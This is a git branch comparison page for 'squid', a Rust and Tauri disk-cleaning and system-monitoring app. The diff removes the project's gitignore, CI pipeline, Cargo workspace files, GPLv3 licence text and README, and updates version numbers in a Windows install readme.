Compare commits

...

No commits in common. "main" and "releases" have entirely different histories.

245 changed files with 39 additions and 83813 deletions

12
.gitattributes vendored
View File

@ -1,12 +0,0 @@
# 统一换行符:*install.sh / release.sh 只要带上 CRLF,在 macOS/Linux 上就是
# 「/usr/bin/env bash\r: bad interpreter」。源码和文档一律以 LF 落盘,
# 二进制产物按二进制处理(它们本来也被 .gitignore 挡在外面)。
* text=auto eol=lf
*.sh text eol=lf
*.rb text eol=lf
*.toml text eol=lf
*.rs text eol=lf
*.md text eol=lf
*.tar.gz binary
*.dmg binary
*.zip binary

75
.gitignore vendored
View File

@ -1,75 +0,0 @@
# squid 的 .gitignore
#
# 原则:仓库里只放源码、文档、脚本和配方。凡是构建出来的、机器本地产生的、
# 或者只用来参考的东西,都不进版本历史——一旦提交进去,3.3 GB 的构建产物就
# 永远赖在历史里了。
# ── 构建产物 ─────────────────────────────────────────────────────────
# cargo 的输出(debug / release / 各 target triple 都在它下面)。
/target/
/src-tauri/target/
/artifacts/
# scripts/release.sh 的产物:通用二进制 + tar.gz + sha256。
# 发布走 GitHub Release 附件和 Homebrew formula,不进仓库。
/dist/
node_modules/
.vite/
src-tauri/gen/
*.tar.gz
*.sha256
*.dmg
*.zip
*.exe
# ── 只读参考代码 ─────────────────────────────────────────────────────
# 本地 clone 的第三方参考项目(自带 .git,数百 MB),不打包、不提交、不发版。
/Mole/
# ── Rust / 覆盖率 ────────────────────────────────────────────────────
**/*.rs.bk
*.profraw
*.profdata
/coverage/
tarpaulin-report.html
default.prof*
# ── Python(测试脚手架 scripts/tui_smoke.py)─────────────────────────
__pycache__/
*.py[cod]
.pytest_cache/
# ── 编辑器 / IDE ─────────────────────────────────────────────────────
.idea/
.vscode/
*.swp
*.swo
*~
# ── macOS / 系统垃圾 ─────────────────────────────────────────────────
.DS_Store
._*
.Spotlight-V100
.Trashes
# ── 本机专属配置 ─────────────────────────────────────────────────────
# squid 的数据在 ~/Library/Application Support/squid,不落在这棵树里;
# 下面这几条只是防止有人把本地实验配置或 .env 顺手 add 进来。
.env
.env.*
!.env.example
*.local
# 输入法/软件在 cwd 落的调试日志(sogou 等)
debug.log
# ── 显式纳管的发布产物 ───────────────────────────────────────────────
!release/0.1.3/Squid-0.1.3-macOS-universal.dmg
!release/0.1.3/Squid-Setup-0.1.3-win-x64.exe
!release/0.1.4/Squid-0.1.4-macOS-universal.dmg
!release/0.1.4/Squid-Setup-0.1.4-win-x64.exe
!release/0.1.5/Squid-0.1.5-macOS-universal.dmg
!release/0.1.5/Squid-Setup-0.1.5-win-x64.exe
!release/0.1.6/Squid-0.1.6-macOS-universal.dmg
!release/0.1.6/Squid-Setup-0.1.6-win-x64.exe
!release/0.1.7/Squid-0.1.7-macOS-universal.dmg
!release/0.1.7/Squid-Setup-0.1.7-win-x64.exe

View File

@ -1,91 +0,0 @@
# squid CI.
#
# The windows cross-check is the important one for portability: `cargo check`
# against the MSVC target needs no linker and no Windows SDK, so a plain Linux
# runner compiles the entire Windows code path (squid-core recycle bin,
# squid-platform registry adapter, ...) and catches regressions. Real builds
# and test runs happen on the windows-latest runner below, or on any Windows
# machine via `scripts/ci-windows.ps1`.
stages: [check]
variables:
CARGO_TERM_COLOR: always
CARGO_HOME: "$CI_PROJECT_DIR/.cargo"
default:
interruptible: true
rust-lint-test:
stage: check
image: rust:1.95
cache:
key:
files: [Cargo.lock]
paths: [.cargo/registry, .cargo/index, target/]
script:
- rustup component add rustfmt clippy
- cargo fmt --all -- --check
- cargo clippy --workspace --all-targets -- -D warnings
- cargo test --workspace
windows-cross-check:
stage: check
image: rust:1.95
cache:
key:
files: [Cargo.lock]
policy: pull
paths: [.cargo/registry, .cargo/index, target/]
script:
- rustup target add x86_64-pc-windows-msvc
- cargo check --workspace --all-targets --target x86_64-pc-windows-msvc
# Needs a registered Windows GitLab runner (tag: windows). Not required for
# merge until the Windows port is declared stable.
windows-build-test:
stage: check
tags: [windows]
rules:
- when: manual
allow_failure: true
script:
- pwsh -File scripts/ci-windows.ps1
desktop-frontend:
stage: check
image: node:22-bookworm
cache:
key:
files: [pnpm-lock.yaml]
paths: [.pnpm-store]
before_script:
- corepack enable
- corepack prepare pnpm@8.6.6 --activate
- pnpm config set store-dir .pnpm-store
script:
- pnpm install --frozen-lockfile
- pnpm check
- pnpm build
artifacts:
paths:
- dist/
expire_in: 1 day
desktop-rust-check:
stage: check
image: rust:1.95
needs:
- job: desktop-frontend
artifacts: true
cache:
key:
files: [src-tauri/Cargo.lock]
paths: [.cargo/registry, .cargo/index, src-tauri/target/]
before_script:
- apt-get update
- apt-get install -y libwebkit2gtk-4.1-dev libappindicator3-dev librsvg2-dev patchelf
script:
- cargo fmt --manifest-path src-tauri/Cargo.toml -- --check
- cargo clippy --manifest-path src-tauri/Cargo.toml --all-targets -- -D warnings
- cargo test --manifest-path src-tauri/Cargo.toml --lib

5218
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@ -1,50 +0,0 @@
[workspace]
resolver = "2"
members = ["crates/*"]
exclude = ["src-tauri"]
[workspace.package]
version = "0.1.10"
edition = "2021"
rust-version = "1.95"
license = "GPL-3.0-only"
authors = ["squid contributors"]
repository = "https://github.com/nexdev/squid"
description = "squid — one tool for cleaning, uninstalling, purging and monitoring your machine"
[workspace.dependencies]
squid-core = { path = "crates/squid-core" }
squid-platform = { path = "crates/squid-platform" }
squid-rules = { path = "crates/squid-rules" }
squid-engine = { path = "crates/squid-engine" }
squid-stats = { path = "crates/squid-stats" }
squid-guard = { path = "crates/squid-guard" }
squid-tui = { path = "crates/squid-tui" }
anyhow = "1"
thiserror = "2"
serde = { version = "1", features = ["derive"] }
serde_json = "1"
toml = "0.8"
crossbeam-channel = "0.5"
rayon = "1.10"
walkdir = "2.5"
globset = "0.4"
dirs = "6"
libc = "0.2"
plist = "1"
chrono = { version = "0.4", default-features = false, features = ["clock", "std"] }
sysinfo = { version = "0.34", default-features = false, features = ["system", "network", "disk", "user"] }
crossterm = "0.28"
ratatui = "0.30"
unicode-width = "0.2"
clap = { version = "4.5", features = ["derive", "env", "wrap_help"] }
[profile.release]
lto = "thin"
codegen-units = 1
strip = true
panic = "abort"
[profile.dev]
opt-level = 1

674
LICENSE
View File

@ -1,674 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
<program> Copyright (C) <year> <name of author>
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<https://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<https://www.gnu.org/licenses/why-not-lgpl.html>.

View File

@ -1,4 +1,4 @@
Squid 0.1.4 - Windows x64
Squid 0.1.10 - Windows x64
系统要求
--------
@ -11,7 +11,7 @@ Squid 0.1.4 - Windows x64
安装
----
1. 运行 Squid-Setup-0.1.4-win-x64.exe。
1. 运行 Squid-Setup-0.1.10-win-x64.exe。
2. 这是未签名构建。若 SmartScreen 显示警告,请选择“更多信息” > “仍要运行”。
3. 卸载请在 Windows“设置 > 应用”中移除 Squid。
@ -24,4 +24,4 @@ Squid 使用与 nex_shift 一致的 releases 分支更新通道。更新包会
校验
----
PowerShell:
Get-FileHash .\Squid-Setup-0.1.4-win-x64.exe -Algorithm SHA256
Get-FileHash .\Squid-Setup-0.1.10-win-x64.exe -Algorithm SHA256

View File

@ -1,333 +0,0 @@
# Squid
[简体中文](README.zh-CN.md) · [Bilingual home](README.md)
**Give your computer a bath.**
Squid is a local system-care app for macOS and Windows. It cleans rebuildable caches and system junk, uninstalls apps with their leftovers, removes project build artefacts, maps disk usage, shows live system health, and scans for malware with reversible quarantine.
The desktop app, CLI, and TUI share one Rust scan-and-delete engine. Cleaning rules, safety boundaries, the deletion ledger, and settings live in one place. Squid requires no cloud service and no root access.
## Product surfaces
| Surface | Stack | Binary |
| --- | --- | --- |
| Desktop app | Tauri 2 + React 19 + TypeScript + Vite 6 | `squid-desktop` |
| CLI | Rust + clap | `squid` |
| TUI | Rust + ratatui + crossterm | `squid state` |
The desktop app supports macOS 12+ and Windows 10/11 x64. The CLI and TUI share the same Rust workspace.
## Features
| Feature | Description |
| --- | --- |
| Overview | Disk health, common actions, and CPU, memory, and storage summaries |
| Daily cleanup | 38 built-in rules on macOS and 30 on Windows, covering app and browser caches, logs, crash reports, developer caches, Trash, and more |
| Uninstall apps | Finds an app by name and builds one plan containing the app bundle plus preferences, caches, containers, or AppData leftovers |
| Deep Clean | Finds rebuildable build output such as `node_modules`, disk images, installers, and stale downloads while protecting recently used projects |
| Storage | Measures folders level by level, with the largest children and files |
| Real-time monitor | Samples CPU, memory, network, disk, battery, volumes, and high-usage processes every two seconds. The Processes tab lists every process with its signature and startup entry, and ends them after confirmation |
| Security | Reports XProtect or Defender status, scans for malware by hash, YARA rule and heuristic, grades findings confirmed / suspicious / advisory, and quarantines them reversibly |
| Startup items | LaunchAgents, LaunchDaemons, login items, registry Run keys, startup folders, scheduled tasks and services; the ones the current user owns can be disabled and re-enabled |
